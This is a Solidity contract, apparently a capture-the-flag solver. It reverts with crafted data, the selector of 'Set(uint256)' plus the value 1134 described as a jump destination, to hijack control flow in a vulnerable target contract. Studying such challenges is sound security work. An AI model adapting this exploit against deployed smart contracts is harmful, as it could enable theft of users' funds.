Solver.sol

pragma solidity ^0.4.23;

contract Solver {
    
    bytes4 internal constant SEL = bytes4(keccak256('Set(uint256)'));
    
    function execute(address) public pure {
        // constants are not accessible in assembly
        bytes4 sel = SEL;
        assembly {
            // Store sel in memory @ 0x0
            mstore(0, sel)
            // Store 1134 (our jumpdest) in memory, just after sel
            mstore(0x4, 1134)
            // Revert exactly 0x24 bytes to the caller, starting at memory position 0x0
            revert(0, 0x24)
        }
    }
}